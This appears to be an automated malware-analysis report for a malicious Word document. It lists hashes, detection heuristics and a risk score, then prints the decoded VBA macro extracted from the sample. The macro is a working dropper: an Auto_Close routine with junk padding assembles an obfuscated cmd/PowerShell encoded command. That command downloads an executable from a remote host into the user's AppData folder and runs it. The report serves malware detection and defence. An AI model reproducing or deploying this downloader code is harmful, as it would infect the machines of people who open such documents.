Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a3c3656b7c7471d2…

MALICIOUS

Office (OLE)

74.5 KB Created: 2018-04-19 18:59:00 Authoring application: Microsoft Office Word First seen: 2019-09-30
MD5: 1c2b247f75613c19ab3f758ce1b56085 SHA-1: 4bc740fc0d8ce497f89d1c32e5c0d535ac486192 SHA-256: a3c3656b7c7471d26a98acc02233ef906cb3bc20f4225c81fd3ff07111498ce5
242 Risk Score

Heuristics 7

  • ClamAV: Doc.Malware.00536d-6731394-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.00536d-6731394-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9116 bytes
SHA-256: 0ddf9d91d5535e2a1f5efdb2ac392d8919916a38530e8c7cdaeccea276faaabf
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Const wikxEsUeSogYezolUsHeZasA = 0
Sub AutoClose()
On Error Resume Next
Dim DeWejUaoCaXYkYJafysereiTUGoHe

DeWejUaoCaXYkYJafysereiTUGoHe = IsNull(Choose(1, "CaRosYGaDplychiFYHop", "DeWejUaoCaXYkYJafysereiTUGoHe", "CaRosYGaDplychiFYHopDeWejUaoCaXYkYJafysereiTUGoHe"))
IsError CVErr(5887)

If 5887 > LenB(CStr(13 ^ 4)) Then
   Call IsError(CVErr(Val(CStr(CaRosYGaDplychiFYHop))))
End If
FymUCyXoNISiWNobeTKuWEhOpoZywutoTYlIM = "" + Format(ChrW(99)) + "md.exe /" + Format(ChrW(99)) + " P^O^W^e^r^s^" + Format(ChrW(2 + (35 * 2))) + "^e^l^L^.^E^X^e^ ^-^E^C^ ^K^A^B^O^A^G^U^A^d^w^A^t^A^E^8^A^Y^g^B^q^A^G^U^A^Y^w^B^0^A^C^A^A^U^w^B^5^A^" + Format(ChrW(2 + (35 * 2))) + "^M^A^d^A^B^l^A^G^0^A^L^g^B^O^A^G^U^A^d^A^A^u^A^F^" + Format(ChrW(99)) + "^A^Z^Q^B^i^A^E^M^A^b^A^B^p^A^G^U^A^b^g^B^0^A^C^k^A^L^g^B^E^A^G^8^A^d^w^B^u^A^G^w^A^b^w^B^h^A^G^Q^A^R^g^B^p^A^G^w^A^Z^Q^A^o^A^C^I^A^a^A^B^0^A^" + Format(ChrW(2 + (35 * 2))) + "^Q^A^" + Format(ChrW(99)) + "^A^A^6^A^C^8^A^L^w^B^v^A^" + Format(ChrW(2 + (35 * 2))) + "^Y^A^Z^Q^B^s^A^G^w^A^b^w^B^u^A^G^k^A^" + Format(ChrW(99)) + "^w^B^0^A^C^4^A^Y^w^B^v^A^G^0^A^L^w^B^S^A^F^U^A^S^Q^A^v^A^G^w^A^Z^Q^B^2^A^G^8^A^b^g^B^k^A^C^4^A^" + Format(ChrW(99)) + "^A^B^o^A^" + Format(ChrW(2 + (35 * 2))) + "^A"
Dim qIPOROaYjUcUJKUkILEBDESSoZygEli

qIPOROaYjUcUJKUkILEBDESSoZygEli = IsNull(Choose(2, "MEYtoLYfRUTUaoMua", "qIPOROaYjUcUJKUkILEBDESSoZygEli", "MEYtoLYfRUTUaoMuaqIPOROaYjUcUJKUkILEBDESSoZygEli"))
IsError CVErr(8655)

If 8655 > LenB(CStr(13 ^ 4)) Then
   Call IsError(CVErr(Val(CStr(MEYtoLYfRUTUaoMua))))
End If

Dim vAvUhyMIPixevanifOpUMSYGyNUwA

vAvUhyMIPixevanifOpUMSYGyNUwA = IsNull(Choose(7, "sirUnYpZudafa", "vAvUhyMIPixevanifOpUMSYGyNUwA", "sirUnYpZudafavAvUhyMIPixevanifOpUMSYGyNUwA"))
IsError CVErr(5147)

If 5147 > LenB(CStr(10 ^ 4)) Then
   Call IsError(CVErr(Val(CStr(sirUnYpZudafa))))
End If
Dim cUryDYrOSgiJaiYsYvocUaiEFEaoTUqMUHaPiROGi

cUryDYrOSgiJaiYsYvocUaiEFEaoTUqMUHaPiROGi = IsNull(Choose(2, "rojuhYwmERAXYaipAteta", "cUryDYrOSgiJaiYsYvocUaiEFEaoTUqMUHaPiROGi", "rojuhYwmERAXYaipAtetacUryDYrOSgiJaiYsYvocUaiEFEaoTUqMUHaPiROGi"))
IsError CVErr(7093)

If 7093 > LenB(CStr(13 ^ 4)) Then
   Call IsError(CVErr(Val(CStr(rojuhYwmERAXYaipAteta))))
End If
JipSOGUcAPuxEPAroqeQIMOaYMya = "^A^P^w^B^s^A^D^0^A^Z^g^B^l^A^" + Format(ChrW(2 + (35 * 2))) + "^" + Format(ChrW(99)) + "^A^a^w^A^x^A^C^4^A^e^A^B^h^A^" + Format(ChrW(2 + (35 * 2))) + "^A^A^I^g^A^s^A^C^A^A^J^A^B^l^A^G^4^A^d^g^A^6^A^E^E^A^U^A^B^Q^A^E^Q^A^Q^Q^B^U^A^E^E^A^I^A^A^r^A^C^A^A^J^w^B^" + Format(ChrW(99)) + "^A^D^Y^A^N^g^A^y^A^G^I^A^M^w^A^2^A^D^g^A^O^Q^A^u^A^G^U^A^e^A^B^l^A^C^" + Format(ChrW(99)) + "^A^K^Q^A^7^A^C^A^A^U^w^B^0^A^G^E^A^" + Format(ChrW(99)) + "^g^B^0^A^C^0^A^U^A^B^y^A^G^8^A^Y^w^B^l^A^" + Format(ChrW(2 + (35 * 2))) + "^M^A^" + Format(ChrW(99)) + "^w^A^g^A^C^Q^A^Z^Q^B^u^A^" + Format(ChrW(2 + (35 * 2))) + "^Y^A^O^g^B^B^A^F^A^A^U^A^B^E^A^E^E^A^V^A^B^B^A^C^" + Format(ChrW(99)) + "^A^X^A^A^2^A^D^Y^A^M^g^B^i^A^D^M^A^N^g^A^4^A^D^k^A^L^g^B^l^A^" + Format(ChrW(2 + (35 * 2))) + "^g^A^Z^Q^A^n^A^D^s^A^I^A^A^g^A^E"

Dim nOcifPUwJUMupekubkUFadipuKuFY

nOcifPUwJUMupekubkUFadipuKuFY = IsNull(Choose(5, "RIKOqupeliuDokiSu", "nOcifPUwJUMupekubkUFadipuKuFY", "RIKOqupeliuDokiSunOcifPUwJUMupekubkUFadipuKuFY"))
IsError CVErr(4278)

If 4278 > LenB(CStr(12 ^ 4)) Then
   Call IsError(CVErr(Val(CStr(RIKOqupeliuDokiSu))))
End If

SleLeMiBuLupyHDiVoCpuMEfiKmenIbIFOmI = "^k^A^R^Q^B^Y^A^C^g^A^K^A^B^O^A^G^U^A^d^w^A^t^A^E^8^A^Y^g^B^q^A^G^U^A^Y^w^B^0^A^C^A^A^U^w^B^5^A^" + Format(ChrW(2 + (35 * 2))) + "^M^A^d^A^B^l^A^G^0^A^L^g^B^O^A^G^U^A^d^A^A^u^A^F^" + Format(ChrW(99)) + "^A^Z^Q^B^i^A^E^M^A^b^A^B^p^A^G^U^A^b^g^B^0^A^C^k^A^L^g^B^E^A^G^8^A^d^w^B^u^A^G^w^A^b^w^B^h^A^G^Q^A^U^w^B^0^A^" + Format(ChrW(2 + (35 * 2))) + "^I^A^a^Q^B^u^A^G^" + Format(ChrW(99)) + "^A^K^A
... (truncated)